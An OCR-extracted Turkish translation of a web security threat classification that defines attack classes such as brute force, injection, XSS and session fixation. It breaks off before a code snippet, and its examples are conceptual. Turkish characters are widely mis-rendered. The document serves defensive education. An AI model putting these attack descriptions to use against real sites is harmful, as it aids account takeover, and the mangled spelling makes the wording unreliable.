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1 Aciklama

Web Giivenligi Tehdit Siniflandirmasi herhangi bir web sitesinin giivenligine karsi olabilecek
tehditleri aciklamak ve diizenlemek amaciyla elbirligi ile yapilan bir caligmadir.

“Web Application Security Consortium” tiyeleri bu projeyi web giivenligi ile ilgili endiistri
standardi terminolojisini gelistirmek ve bu terminolojiye katkida bulunmak amaciyla
gerceklestirmislerdir. Bu c¢alismayla, uygulama gelistiricileri, glivenlik uzmanlari, yazilim
iireticileri ve uygunluk denetleyicileri web giivenligi ile ilgili konularda tutarli bir dile erisme
olanagina sahip olacaklardir.

2 Hedefler

Bilinen tiim web uygulama giivenligi saldir1 siniflarini tespit etme
Saldirt siniflarinin isimlendirilmesi konusunda fikir birligine varma
Saldir1 siiflarim1 diizenlemek i¢in yapisal bir bigcim gelistirme

Her tiir saldirinin genel agiklamalarini i¢ceren bir dokiiman gelistirme

3 Dokiumantasyon Kullanimi

Web sitelerini tehdit eden giivenlik risklerini daha iyi anlamak ve bu riskleri daha anlasilir bir
sekilde ortaya koymak. Giivenlikle ilgili sorunlar1 uygulama gelistirme aninda ortadan kaldirmak
icin glivenli programlama aliskanliklarin1 daha iyiye gotiirmek. Bir sitenin bilinen tiim tehditlere
kars1t tasarlanmasi, gelistirilmesi ve gozden gegirilmesini saglama adma bir yol haritasi
olusturmak. Web giivenligi ¢Ozlimlerinin smirlarin1  belirlemede ve secimlerinin nasil
yapilacagini1 anlamada yardimci olmak.
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5 Genel

Bir ¢ok organizasyon i¢in web siteleri, giinliikk ¢cevrimici islemlerde milyonlarca dolar1 dogru bir
sekilde islemesi gereken kritik sistemler olarak hizmet verirler. Bununla birlikte her organizasyon
icin web sitelerine ayr1 ayr1 deger bigme ihtiyaci bulunmaktadir.Birseyin somut ve soyut olarak
degerlerini yalnizca parasal rakamlarla 6l¢gmek zordur.

Web giivenligi agikliklar1 bir web sitesinin riskini devamli olarak artirmaktadirlar. Herhangi bir
web gilivenligi acikligr tespit edildiginde, saldirinin gerceklestirilmesi i¢cin mevcut bir ¢ok
uygulama saldirilar1 tekniklerinden en az birisinin kullanilmas1 gerekmektedir. Bu teknikler genel
olarak saldir1 siniflari ile ilgilidir (giivenlik acikligindan yararlanma sekli). Bu tiir saldirilarin bir
cogu tanmnabilir isimler i¢cermektedir; bellek tasmasi, SQL enjeksiyonu ve siteler Otesi (arasi)
betik yazma (ingilizcesi Cross Site Scripting olan bu terim bundan sonra XSS olarak
kisaltilacaktir) gibi. Temel olarak, saldir1 sinifi bilgisi, web giivenlik tehdit siniflandirmasinin
web sitesine yoOnelen tehditleri agiklamak ve diizenlemek icin kullandigi bir metod olarak
distiniilmektedir.

Web giivenligi tehdit siniflandirmasi, web siteleri i¢in gegmiste tehdit arzetmis bilinen saldiri
siniflarin1 derlemekte ve s6z konusu saldir1 siniflar1 konunun 6ziinii olusturmaktadir. Her saldir1
siifi i¢in bir standart isim verilmis ve bu simiflarin 6nemli kisimlart dokiiman iginde
aciklanmistir. Her sinif, esnek bir yap1 i¢inde diizenlenmistir.

Web giivenligi tehdit siniflandirmasinin olusturulmasi1 uygulama gelistiriciler, giivenlik
uzmanlari, yazilim {ireticileri ve web giivenligi ile ilgilenen diger herkes icin ¢ok onemlidir.
Bagimsiz giivenlik gézden gecirme metodolojileri, glivenli yazilim gelistirme yol haritalar1 ve
iiriin/servislerin gerekleri bu ¢caligmadan yarar saglayacaklardir.

6 Bilgi Altyapisi

Gecen bir ¢ok yilda, web giivenligi endiistrisi aciklik arastirmalarini agiklayan kafa karistiric1 ve
belirli bir kesime hitap eden diizinelerce terim benimsedi. XSS, parametre kurcalama ve cerez
zehirleme gibi terimlere tutarsiz isimler verildi ve bu terimlerin kastettigi saldirilarin etkilerine
farkli anlamlar ytiklendi.



Ornegin, bir web sitesi XSS saldirisina karsi korunmasiz ise giivenlik agisindan bu eksiklik
kullanicilarin gerezlerinin ¢alinmasina yol acabilir. Cerez ¢alindigi zaman, bu durum herhangi bir
kisinin oturum ele gecirmesine ve kullanicinin g¢evrimigi hesabinin ele gecirilmesine neden
olabilir. Agikliktan yararlanmak icin, saldirgan URL (Birdrnek Kaynak Konumlayici)
parametresini degistirerek girdi manipiilasyonu gerceklestirebilir.

Bu ge¢mis saldirt agiklamasi kafa karigtirmaktadir ve teknik dilin biitiin bigimleri kullanilarak
ilgili aciklama yapilabilir. Bu kompleks ve degisken kelime haznesi acik forumlardaki ana
konularda fikir birligine varmig katilimeilar arasinda bile diis kirikligina ve anlasmazliga neden
olmaktadir.

Yillar boyunca, bu gibi konular iyi belgelemis, standartlagsmig, tam ve dogru sekilde ele alan
kaynaklar olusturulmamistir. Bu ¢aligmamizda bir ¢ok kitaptan, diizinelerce beyaz makalelerden
ve ylizlerce sunumdan elde edilen bilgilere dayanilmistir.

Web giivenligi lizerinde ¢aligmaya yeni baslayan kisiler standart bir dilin olmamasindan dolay1
konu i¢inde ¢ok cabuk bogulmakta ve bu kisilerin kafasi ¢ok kolay karigmaktadir.Bu kafa
karigikliklari, web giivenligi alaninda yapilacaklarin netligini bozmakta ve bu alandaki
gelismeleri yavasglatmaktadir. Web’in giivenligini artirmaya devam ettikge web giivenligi
konularini tartismak i¢in resmi ve standartlagsmis yaklasimlara ihtiyacimiz olugsmaktadir.

7 Katkida Bulunanlar

Robert Auger - SPI Dynamics

Ryan Barnett - Center for Internet Security (Apache Projesi Lideri)
Yuval Ben-Itzhak - Sahis

Erik Caso - NT OBJECTives

Cesar Cerrudo - Application Security Inc.
Sacha Faust - SPI Dynamics

JD Glaser - NT OBJECTives

Jeremiah Grossman - WhiteHat Security
Sverre H. Huseby - Sahis

Amit Klein - Sanctum

Mitja Kolsek - Acros Security

Aaron C. Newman - Application Security Inc.
Steve Orrin - Sanctum

Bill Pennington - WhiteHat Security

Ray Pompon - Conjungi Networks

Mike Shema - NT OBJECTives

Ory Segal - Sanctum

Caleb Sima - SPI Dynamics



8 Kontrol Listesi
8.1 Kimlik dogrulama
8.1.1 Kaba Kuvvet

Kaba kuvvet saldirisi, kisilerin kullanict ismilerinin, parolalarinin, kredi kart numaralarinin veya
kriptografik anahtarlarinin tahmin edilmesi i¢in kullanilan otomatik bir deneme yanilma
islemidir.

8.1.2 Yetersiz Kimlik Dogrulama

Yetersiz kimlik dogrulama, bir web sitesinin saldirgana uygun bir kimlik dogrulama
gerceklestirmeden hassas bilgi igerigine ya da fonksiyona erisim izni vermesiyle gerceklesir.

8.1.3 Zayif Parola Kurtarma Denetimi

Zayif parola kurtarma denetimi (bu terimde zayif olan parola degidir, parola kurtarma
denetimidir.), bir web sitesinin saldirganin illegal olarak bir baskasinin parolasini ele
gecirmesine, degistirmesine veya kurtarmasina izin verdigi durumdur.

8.2 Yetkilendirme
8.2.1 Yetki/Oturum Bilgisi Tahmin Etme

Yetki/oturum bilgisi tahmin etme, bir web sitesi kullanicisini taklit etme (kullanicinin roliine
girme) veya web sitesi kullanici korsanligi metodudur.

8.2.2 Yetersiz Yetkilendirme

Yetersiz yetkilendirme, bir web sitesinin arttirilmig erisim kontrol kisitlamalar1 gereken hassas
bilgi igerigine ya da fonksiyonlarina erigim izni vermesidir.

8.2.3 Yetersiz Oturum Sonlandirma

Yetersiz oturum sonlandirma, web sitesinin yetkilendirme i¢in kullandigi eski oturum kimlik
bilgisi veya numarasini saldirgana tekrar kullanma imkan1 vermesidir.

8.2.4 Oturum Belirleme

Oturum belirleme, kullaniciyr bilinen bir degerdeki oturum numarasim1 kullanmaya zorlayan
saldir teknigidir.

8.3 Istemci Tarafli Saldirilar

8.3.1 igerik Sahteciligi

Icerik sahteciligi, bir kullanicinin bir web sitesindeki belirli igerigin mesru olduguna ve bu
icerigin harici bir kaynaga ait olmadigina inandirilmasini saglayan bir saldir1 teknigidir.



8.3.2 Siteler Otesi (Arasi) Betik Yazma

Siteler Otesi (aras1) betik yazma (XSS) , web sitesinin saldirgan tarafindan belirlenen
calistirllabilir kodu normal bir kullaniciya géndermesi ve bu kodun kullanict web tarayicisina
yiiklenerek ¢aligmasiyla gergeklesen bir saldir ¢esididir.

8.4 Komut Calistirma
8.4.1 Ara Bellek Tagmasi

Ara bellek tagsmasi saldirilari, bir uygulamanin akisini, hafizanin belirli kisimlarimin iizerine
yazilarak degistirmesiyle gerceklesen saldirilardir.

8.4.2 Dizgi Formati Saldirisi

Dizgi formati saldirilari, uygulamaya ayrilmis hafiza alanlarina dizgi formatlama
kiitiiphanelerinin 6zellikleri yardimiyla eriserek s6z konusu uygulamanin akisini degistiren
saldirilardir.

8.4.3 LDAP Enjeksiyonu

LDAP Enjeksiyonu, kullanicilarin sagladigir bilgi girdilerinden LDAP ifadeleri (komutlar1)
olusturan web sitelerini istismar etmek i¢in kullanilan bir saldir1 metodudur.

8.4.4 isletim Sistemi Komut Saldirilari

Isletim sistemi komut saldirisi, uygulama girdilerinin manupilasyonu ile isletim sistemi
komutlarinin ¢aligtirilarak web sitelerinin istismar edilmesini saglayan bir saldir1 metodudur.

8.4.5 SQL Enjeksiyonu

SQL Enjeksiyonu, kullanicilarin sagladigi bilgi girdilerinden SQL ifadeleri (komutlari) olusturan
web sitelerini istismar etmek i¢in kullanilan bir saldir1 metodudur.

8.4.6 SSI Enjeksiyonu

SSI Enjeksiyonu (Server-side Include), saldirganin web uygulamasina kod géndermesine ve bu
kodun web sunucuda lokal olarak c¢alismasina neden olan, sunucu tarafli istismar etme
metodudur.

8.4.7 XPath Enjeksiyonu

XPath enjeksiyonu, kullanicilarin sagladigi bilgi girdilerinden XPath sorgulari olusturan web
sitelerini istismar etmek icin kullanilan bir saldir1t metodudur.

8.5 Bilgi Aciga Cikarma (Bilgi ifsasi)

8.5.1 Dizin indeksleme

Otomatik dizin listeleme/indeksleme, ana sayfanin, mevcut olmadigi durumlarda talep edilen
dizinindeki tiim dosyalar1 listeleyen bir web sunucu fonksiyonudur.



8.5.2 Bilgi Sizmasi

Bilgi sizmasi, saldirgana sistemi istismar etmede yardim edebilecek yazilim gelistirici yorumlari
ve hata mesajlar1 gibi hassas bilgilerin web sitesinde agiga vurulmasidir.

8.5.3 Yol Takibi

Yol takibi, web sunucusu ana dizini disinda bulunan dosyalara, dizinlere ve komutlara erigimi
saglayan bir saldirt metodudur.

8.5.4 Tahmin Edilebilir Kaynak Konumu

Tahmin edilebilir kaynak konumu, gizlenmis web sitesi icerigini ve fonksiyonlari ortaya
¢ikarmak i¢in kullanilan bir saldir1 metodudur.

8.6 Mantiksal Saldirilar

8.6.1 Fonksiyonelligin Kotuye Kullanimi

Fonksiyonelligin kétiiye kullanimi, web sitesinin kendi 6zelliklerinin ve fonksiyonlarinin erisim
kontrol mekanizmalarmin kaynaklarim1 tiikketme veya bu mekanizmalar1 atlatmak amaciyla
kullanilmasini saglayan saldirt metodudur.

8.6.2 Servis Disi1 Birakma

Servis dis1 birakma, web sitelerinin normal kullanicilara verdigi hizmeti engellemek adina
gercgeklestirilen saldirt metodudur.

8.6.3 Yetersiz Anti-Otomasyon

Yetersiz anti-otomasyon, web sitesinin sadece elle gergeklestirilebilmesi gereken bir islemin
saldirgan tarafindan otomatik olarak yapilabilmesine izin vermesi durumudur.

8.6.4 Yetersiz is Denetimi (Tasdiki)

Yetersiz is tasdiki, web sitesinin hedeflenen uygulama akist kontroliinii atlatmaya izin vermesi
durumudur.

9 Saldin Siniflan
9.1 Kimlik Dogrulama

Kimlik dogrulama bdliimii, web sitesinin kullanici, servis veya uygulama kimligini onaylayan
metodunu hedef alan saldirilart kapsar. Kimlik dogrulamasi en az su iic mekanizmalarin biriyle
gerceklestirilir: “sahip oldugunuz bir nesne”, “bildiginiz bir bilgi” veya “sahip oldugunuz bir
ozellik”. Bu boliim web sitesinin kimlik dogrulama mekanizmasini atlatmak veya istismar etmek
i¢in kullanilan saldirilar1 ele almaktadir.

9.1.1 Kaba Kuvvet Saldirilari

Kaba kuvvet saldirisi, bir kisinin kullanici ismininin, parolasinin, kredi kart numaralarinin veya
kriptografik anahtarlarinin birer birer tahmin edilmesi i¢in kullanilan otomatik bir deneme
yanilma islemidir.



Bir ¢ok sistem, zayif parola ve kriptografik anahtar kullanilmasina izin vermektedir. Kullanicilar
sozliiklerde yer alma ihtimali olan kolay hatirlanabilir parolalar se¢mektedirler. Saldirgan
sozliikler iizerinden kelime kelime geger, sistem iizerinde binlerce, milyonlarca tahmin iireterek
gecerli bir parola bulmaya c¢alisir. Tahmin edilen parola sisteme erisime izin verdiginde, kaba
kuvvet saldirist bagarili olmus bulunmaktadir ve saldirgan ilgili hesaba artik erigebilmektedir.

Ayn1 deneme ve yanilma teknigi sifreleme anahtarlarinin tahmini i¢in de uygulanabilmektedir.
Web sitesi zayif ve kisa bir anahtar kullandiginda, saldirganin biitiin olas1 anahtarlar1 deneyerek
dogru anahtari tahmin etmesi miimkiindjir.

Gergekte iki cesit kaba kuvvet saldiris1 mevcuttur, normal kaba kuvvet ve ters kaba kuvvet.
Normal kaba kuvvet saldirisi, bir tek kullanici ismini bir ¢ok parola i¢in kullanir. Ters kaba
kuvvet saldirist ise bir ¢ok kullanict ismini bir parola i¢in kullanir. Milyonlarca kullanici hesabina
sahip sistemlerde, birden ¢ok kullanicinin ayni parolaya sahip olmasi olasilig1 ¢arpict bir sekilde
artmaktadir. Kaba kuvvet saldir1 teknikleri ¢ok popiiler olup ¢ogunlukla basarili olurlar fakat bu
saldirilar saatler, haftalar veya yillar gerektirebilir.

Ornek
Kullanici ismi = Jon
Parolalar = smith, michael-jordan, [hayvan isimleri], [dogum tarihleri], [araba isimleri],

Kullanici isimleri = Jon, Dan, Ed, Sara, Barbara, .....
Parola = 12345678

Referanslar
“Brute Force Attack”, Imperva Glossary
http://www.imperva.com/application_defense center/glossary/brute_force.html

“iDefense: Brute-Force Exploitation of Web Application Session ID’s”, By David Endler - iDEFENSE Labs
http://www.cgisecurity.com/lib/SessionIDs.pdf

9.1.2 Yetersiz Kimlik Dogrulama

Yetersiz kimlik dogrulama, bir web sitesinin saldirgana uygun bir kimlik dogrulama
gerceklestirmeden hassas icerige ya da fonksiyonlara erigim izni vermesiyle gergeklesir.

Web tabanli yonetim araclar1 hassas fonksiyonlara erisim saglayan web sitelerine iyi birer
ornektir. Kaynagina gére web uygulamalarina kullanicilarin tam olarak kimlikleri onaylanmadan
direk olarak erisilmemelidir.

Kimlik dogrulamanin daha iyi yapilabilmesi maksadiyla baz1 kaynaklarin belli adres bilgilerinin
gizlenmesi ve s0z konusu adres bilgilerinin ana web sitesiyle ya da diger genel adresler ile
herhangi bir baglantisinin olmamasi s6z konusu olmaktadir. Buna ragmen, bu yaklasim
“belirsizlik (gizlemek) yoluyla giivenlik” metodundan bagka bir sey degildir.

Bir kaynak saldirgan tarafindan bilinmiyorsa bile belirli bir URL adresi ile bu kaynaga
erisilebilir. URL adresi, yaygin kullanilan dosya ve dizin konumlarinda (6rnegin /admin), hata
mesajlarinda, kayitlarda veya yardim dosyalarinda kaba kuvvet yontemiyle arastirilarak



bulunabilir. S6zii edilen bu kaynaklar eger igerik veya fonksiyonel olarak gerekli ise uygun bir
sekilde korunmalidir.

Ornek

Bir ¢ok web uygulamasi, ana dizin disinda (/admin) bagka dizinlere kurulmustur ve bazi yonetici
fonksiyonlarina gore tasarlanmigtir. Bu dizinden web sitenin herhangi bir yerine hi¢ bir zaman link
kurulmamistir fakat s6z konusu dizine standart bir web tarayicist ile erismek hala mimkiindiir.
Uygulamay1 gelistiren kisi, web sayfasina herhangi bir link olusturulmadigi ve herhangi bir kullanicinin
da bu web sitesini gormesini beklemedigi i¢in s6z konusu sayfaya kimlik dogrulama fonksiyonu eklemeyi
cogu zaman gozden kagirmaktadir. Eger saldirgan basit bir sekilde bu web sayfasini ziyaret edecek olursa,
web sitesine tiim yonetici yetkileri ile erisme yetkisi kazanacaktir.

9.1.3 Zayif Parola Kurtarma Denetimi

Zayif parola kurtarma denetimi, bir web sitesinin saldirganin illegal olarak bir baskasinin
parolasini ele gecirmesine, degistirmesine veya kurtarmasina izin verdigi durumdur. Geleneksel
web sitesi kimlik dogrulama metodlar1 kullanicilarin bir parola ya da anahtar parolasi (glivenlik
kodu) se¢melerini ve bu bilgileri hatirlamalarin1 gerektirir. S6z konusu parolay1 sadece sahibi
olan kullanici bilmeli ve parola tam olarak hatilanmalidir.

Zaman gectikge kullanicinin parolayr hatirlayabilmesi zorlagir. Normal bir kullanic1 parola
gerektiren 20 web sitesi ziyaret ediyorsa hatirlama sorunu daha da artar. (RSA Incelemesi:
http://news.bbc.co.uk/1/hi/technology/3639679.stm)

Bu sebepten dolayi, parola kurtarma fonksiyonu c¢evrimigi servis veren sistemlerin énemli bir
parcasi olmustur.

Ornek otomatik parola geri elde etme islemleri, kullanicinin kayit olma isleminde belirledigi gizli
soruya cevap vermeyi gerektirmektedir. Bu soru verilen soru listesinden secilir ya da kullanict
tarafindan belirlenir. Kullanilan bagka bir mekanizma ise kullanicinin parolayr hatirlamasi i¢in
kayit olma islemi sirasinda belirlenen bir yardim bilgisini kullaniciya sunmasidir. Diger
mekanizmalar, kullanicinin kimligini dogrulamak i¢in sosyal giivenlik numarasi, ev adresi, zip
kodu v.b gibi kisisel bilgilerin girilmesini gerektirmektedir. Kullanicinin kim oldugunu
kanitlamasindan sonra sistem yeni parolay1 kullaniciya gdsterir ya da e-posta yolu ile gonderir.

Saldirgan parola kurtarma mekanizmasini1 yaniltabiliyorsa, web sitesi zayif bir parola kurtarma
mekanizmasina sahip demektir. Parolay1r kurtarma islemi sirasinda kullanicinin kimligini
onaylamak i¢in gereken bilgi tahmin edilebiliyorsa veya bu bilgi isteme islemi atlatilabiliyorsa bu
durum olusur. Parola geri kurtarma sistemleri kaba kuvvet saldirilari, sistem agikliklar1 ve kolay
tahmin edilebilir gizli sorular kullanilarak istismar edilir.

Ornek
(Zay1f parola geri elde etme metodlar)

¢ Bilgi Onaylama
Bir ¢ok web sitesi, kullanicilardan sadece e-posta adresi, ev adresi ve telefon numarasi bilgilerini isterler.

Bu bilgiler bir ¢ok ¢evrimigi beyaz sayfalardan elde edilebilir. Sonu¢ olarak onaylama bilgisi ¢ok gizli
degildir. Ayrica s6z konusu bilgiler XSS ve balik tutma saldirilar1 gibi diger metodlarla da elde edilebilir.



e Parola Imalar

Kullanictya parola hatirlatmak igin parola ipuglari kullanan web siteleri ipuclarinin kaba kuvvet
saldirilarin1 kolaylastirabilmesi sebebiyle rahatlikla saldirilara maruz kalabilir. Kullanici iyi bir parola olan
"122277King" ve parola ipucu olan "bday+fav author" kullanabilir. Bu durumda saldirgan parola
ipucundan kullanicinin parolasinin kullanicinin dogum giinii ve favori yazarinin birlesimi oldugunu
cikarabilir. Elde edilen bu bilgi, sozliik kaba kuvvet saldirisinin parolay1 tahmin etmede basarili olma
ihtimalini ¢ok biiyiik miktarda artirir.

e Gizli Soru ve Cevap

Kullanicinin parolast “Richmond” ve gizli soru da “Nerede dogdunuz” sorusu olabilir. Saldirgan kaba
kuvvet saldirisini sehir isimlerine yogunlastirir. Bunun yaninda saldirgan hedef kullanici hakkinda az bir
bilgi biliyorsa dogum yerini 6grenme kolay bir is haline gelir.

Referanslar
“Protecting Secret Keys with Personal Entropy”, By Carl Ellison, C. Hall, R. Milbert, and B. Schneier
http://www.schneier.com/paper-personal-entropy.html

“Emergency Key Recovery without Third Parties”, Carl Ellison
http://theworld.com/~cme/html/rump96.html

9.2 Yetkilendirme

Yetkilendirme boliimii, bir web sitesinin kullanici, servis veya uygulamanin istenen bir islemi
gerceklestirmesi i¢in gereken izinleri belirlemek i¢in kullandig1 metodlar1 hedef alan saldirilari
kapsamaktadir. Ornek olarak, bir ¢ok web sitesi belirli kullanicilarm belirli icerige ve
fonksiyonlara erigimine izni vermelidir. Diger zamanlarda kullanicinin diger kaynaklara erisimi
kisitlanmalidir. Saldirgan, web sitesinin korunan alanlarindaki haklarini degisik saldir1 teknikleri
yardimiyla artirarak web sitesini kandirabilir.

9.2.1 Yetki/Oturum Bilgisi Tahmin Etme

Yetki/oturum bilgisi tahmin etme, Web sitesi kullanicisinin roliine girme veya s6z konusu
kullanicinin oturumunun ele gegirilmesi metodudur.

Belirli bir oturumun veya kullanicinin taninmasini ve digerlerinden ayirt edilmesini saglayan bir
bilginin elde edilmesi ya da tahmin edilmesi s6z konusu saldirty1 basarili kilar. Oturumun ele
gecirilmesi olarak da bilinen metodun kullanilmasiyla saldirganlar istismar edilen kullanicinin
haklar1 ile web sitesine istek gonderebilirler.

Bir ¢cok web sitesi, iletisimin kurulmasindan sonra kullanicinin kimliginin dogrulanmasini
saglamak ve takibini yapmak i¢in tasarlanmistir. Bunu gergeklestirmek icin kullanicilar kendi
kimliklerini kullanic1 ismi ve parola bilgilerini girerek onaylatirlar. Bu gizli yetki bilgilerinin her
islemde web sitesine gidip gelmesi yerine web siteleri tek bir oturum numarasi {ireterek kullanici
oturumunun kimliginin dogrulandigini takip eder. Web sitesi ile kullanici arasindaki sonraki
iletisimlere, tretilen bu oturum numarasi eklenerek oturumun kimliginin dogrulandigina dair
kanit olusturulur. Eger saldirgan bir bagkasinin oturum numarasini tahmin ederse hileli bir iglem
gerceklestirebilir.



Ornek

Bir ¢ok web sitesi tescilli algoritmalar kullanarak oturum numarasi iiretirler. Bu geleneksel metodolojiler
statik sayilar1 artirarak oturum numarasi olugturabilirler veya zaman ve diger bilgisayara 6zel degiskenler
kullanarak daha karmasik prosediirler kullanilabilirler.

Oturum numarasi bir ¢erez, gizli form alan1 veya URL igerisinde depolanabilir. Eger saldirgan oturum
numarasi iireten algoritmay1 belirleyebilirse, asagidaki sekillerdeki gibi saldirilar olusturulabilir:

e Saldirgan web uygulamasina baglanarak halihazirdaki oturum numarasini elde eder,

e Saldirgan bir sonraki oturum numarasini direk hesaplar ya da kaba kuvvet saldirisi ile tespit eder,

e Saldirgan halihazirdaki degeri (¢erezdeki, gizli form alanindaki veya URL'deki) degistirerek bir
sonraki kullanicinin kimligini ele gegirir.

Referanslar
“iDefense: Brute-Force Exploitation of Web Application Session ID’s”, By David Endler - iDEFENSE Labs
http://www.cgisecurity.com/lib/SessionIDs.pdf

“Best Practices in Managing HTTP-Based Client Sessions”, Gunter Ollmann - X-Force Security Assessment
Services EMEA
http://www.itsecurity.com/papers/iss9.htm

"A Guide to Web Authentication Alternatives", Jan Wolter
http://www.unixpapa.com/auth/homebuilt.html

9.2.2 Yetersiz Yetkilendirme

Yetersiz yetkilendirme, web sitesinin daha genis erisim kontrol kisitlamalar1 gereken hassas bilgi
icerigine ya da fonksiyonlarina erisime izin vermesidir. Kullanici bir web sitesine erisim hakki
kazandiginda bu, kullaniciya sitenin ille de tiim icerigine veya fonksiyonlarina erigmesine izin
verildigi anlamina gelmez.

Bir kullanicinin, servisin veya uygulamanin yapmasina izin verilen islemlerin ne oldugunu
belirleyen yetkilendirme prosediirleri kimlik dogrulama isleminden sonra belirlenir. lyi
belirlenmis kisitlamalar mevcut politikaya gore web sitesinin aktivitelerini yonetmelidir. Web
sitesinin hassas kisimlar1 sistem yoneticileri disindaki herkese kisitlanmalidir.

Ornek

Gegmiste, bir cok web sitesi, yonetici iglemleri ile ilgili i¢erigi ve/veya yonetici fonksiyonlarini ‘/admin’
veya ‘/logs’ gibi gizli dizinler iginde depolamaktaydi. Eger saldirgan bu dizinlere direk olarak erisim
talebinde bulunursa, erisime izin veriliyordu. Boylece saldirgan web sunucusunu yeniden konfigiire etme,
hassas bilgiye erisme ve web sitesini istismar etme imkanina sahip oluyordu.

Referanslar
“Brute Force Attack”, Imperva Glossary
http://www.imperva.com/application_defense_center/glossary/brute_force.html

“iDefense: Brute-Force Exploitation of Web Application Session ID’s”, By David Endler - iDEFENSE Labs
http://www.cgisecurity.com/lib/SessionIDs.pdf



9.2.3 Yetersiz Oturum Sonlandirma

Yetersiz oturum sonlandirma, web sitesinin saldirgana yetkilendirme i¢in kullanilan eski oturum
kimlik bilgisini veya bilgilerini tekrar kullanma imkan1 vermesidir.

Yetersiz oturum sonlandirma, web sitesinin bagkalarinin yerine gegcme ya da baskalarinin erisim
haklarini elde etme amaciyla yapilan saldirilara olan korunmasizligini artirir.

HTTP durum bilgisi tutmayan bir protokol oldugundan, web siteleri ¢ogunlukla kullanicilarin
isteklerini birbirinden ayirt edebilmek i¢in oturum bilgileri kullanmaktadirlar. Bu nedenle birden
cok kullanicinin ayni kullanici hesabina erismesini engellemek i¢in oturum numaralarinin
gizliliginin saglanmasi gerekmektedir. Calinan oturum numarasi bir bagkasinin kullanict hesabini
gozlemlemek veya sahte bir islem yapmak adina kullanilabilir.

Yeterli oturum sonlandirma isleminin yapilmamasi, belirli saldirilarinin basar1 sansini artirabilir.
Ornegin, saldirgan bir oturum bilgisini muhtemel bir ag dinleyicisi ya da XSS saldiris ile elde
edebilir. Calinan oturum bilgisinin hemen kullanildi§i zamanlarda kisa zamanli oturum
sonlandirma islemleri ¢ok yardimc1 olmasa da, sonlandirma aninda devam eden oturum bilgisini
tekrar kullanma saldirilarin1 engeller. Bagka bir saldir1 senaryosunda, kullanici paylasilan bir
bilgisayardan (kiitiiphane, internet kafe veya herkese agik is ortamlarinda bulunan bilgisayarlar
gibi) herhangi bir web sitesine erigebilir. Yetersiz oturum sonlandirma, saldirganin web
tarayicisinin geri diigmesine basarak daha Once kurban tarafindan girilmis web sitelerine
erismesine neden olur. Uzun sonlandirma zamanlari, saldirganin gegerli bir oturum numarasini
bagar1 ile tahmin edebilme olasiligin1 artirmaktadir. Uzun siireli sonlandirma zamanlari, ayn1 anda
bulunan agik oturum sayisinin artmasini ve dolayisiyla saldirganin tahmin hedefini daha biiyiik
sayida oturum bilgisi i¢eren bir bilgi havuzuna yonlendirmesini saglar.

Ornek

Paylagilan bilgisayar ortamlarinda (birden fazla kisinin bir bilgisayara sinirsiz olarak fiziksel erisim
saglayabildigi durum), yetersiz oturum sonlandirma bir bagkasinin web aktivitelerini gézlemleme
amaciyla istismar edilebilir. Eger bir sitenin oturum kapama fonksiyonu, kurban1 oturum sonlandirmadan
sitenin ana sayfasina gonderiyorsa, baska bir kullanicit web tarayicisinin eski sayfalarina ulagir ve kurban
tarafindan erisilen sayfalar1 gorebilir. Kurbanin oturum bilgisi sonlandirilmadigindan, saldirgan kurbanin
oturumunu sisteme herhangi bir kimlik dogrulama bilgisi sunmadan gézlemleyebilir.

Referanslar

“Dos and Don’ts of Client Authentication on the Web”, Kevin Fu, Emil Sit, Kendra Smith, Nick Feamster - MIT
Laboratory for Computer Science

http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf

9.2.4 Oturum Belirleme

Oturum belirleme, kullaniciy1 belirgin bir degerdeki oturum bilgisi kullanmaya zorlayan saldir1
teknigidir. Hedef web sitesinin sagladigi fonksiyonlara gore degisen bir ¢ok saldir1 teknigi
oturum bilgisini belirli bir degere sabitlemek amaciyla kullanilabilir. Bu teknikler, XSS’ den web
sitesine onceden yapilan HTTP erisimlerinden elde edilen oturum bilgilerine kadar degisen
tekniklerdir. Bir kullanicinin oturum bilgisi belirlendikten sonra, saldirgan kullanicinin sisteme
giris yapmasini bekler. Kullanici girisi yaptiktan sonra, saldirgan kurbanin sistem tarafindan
olusturulan kimligini ele ge¢irmek i¢in dnceden belirlenmis oturum bilgisini kullanir.



Genel olarak belirtilirse, oturum bilgileriyle ilgili iki ¢esit oturum yOnetim sistemi mevcuttur.
Birincisi, “herseye acik” sistemler ki bu sistemler web tarayicilarinin herhangi bir oturum bilgisi
degeri belirlemesine izin verirler. ikinci cesit sistemler sadece sunucu tarafindan olusturulan
degerlere izin veren daha kati1 kurall1 sistemlerdir. “Herseye acik” sistemlerde rastgele degerdeki
bir oturum bilgisi web sitesiyle temas kurulmadan belirlenir. Kat1 kuralli sistemler, saldirganin
web sitesi ile periyodik olarak kontaga gecerek ve aktivitesiz gecen siire sonunda iletisimi
sonlandiran mekanizmadan korunarak oturumu devamli izlemesini gerektirir.

Oturum belirleme saldirisina karst aktif bir koruma saglanmadigi takdirde, kullanicilarin
kimliginin taninmasi i¢in oturum mekanizmasi kullanan her web sitesine s6z konusu saldiri
gerceklestirilebilir. Oturum numarasi kullanan web siteleri gogunlukla gerez tabanlidir fakat URL
ve gizli form alanlar1 da kullanilabilir. Ne yazik ki, ¢erez tabanli oturumlar en kolay saldiriya
maruz kalanlaridir. Su ana kadar tespit edilen saldiri metodlarinin ¢ogu gerezlerin 6nceden
belirlenmesini hedefler.

Oturum belirleme saldirisi, kullanici web sitesine girdikten sonra oturum bilgisini ¢alma
saldirillarina gore saldirgana daha genis avantajlar saglar. Saldirinin aktif kismi saldirgan sisteme
girdikten once gerceklestirilir.

Ornek
Oturum belirleme saldirisi i¢ adimda gergeklesir:

1. Oturum olusturma

Saldirgan hedef web sitesine izlenen bir oturum agar ve bir oturum bilgisi elde eder. Veya saldirgan
kullanmak ig¢in rastgele bir oturum bilgisi seger. Bazi durumlarda, izlenen oturumun bilgisinin web
sunucusu tarafinda gecerliligini korumasi i¢in web sitesiyle tekrarlanan bir baglantinin kurulmasi gerekir.

2. Oturum belirleme

Saldirgan tespit ettigi oturum bilgisini kullanicinin web tarayicisina gonderir ve boylelikle kullanicinin
oturum numarasini kendi bildigi bir degere sabitlemis olur.

3. Oturum Girisi

Saldirgan kullanicinin hedef web sitesine girmesini bekler. Kullanict web sitesine girdiginde sabitlenen
oturum numarasini kullanir ve saldirgan oturumu kendi tizerine alir.

Oturum bilgisinin sabitlenmesi asagidaki tekniklerle gergeklestirilebilir:

1. Yeni oturum bilgisinin kullanic1 bazli betik kullanilarak dagitilmasi. lgili alandaki herhangi bir web
sitesinde mevcut bulunan XSS ag¢iklig1 cerez degerini degistirmede kullanilabilir.

Kod Pargacigi

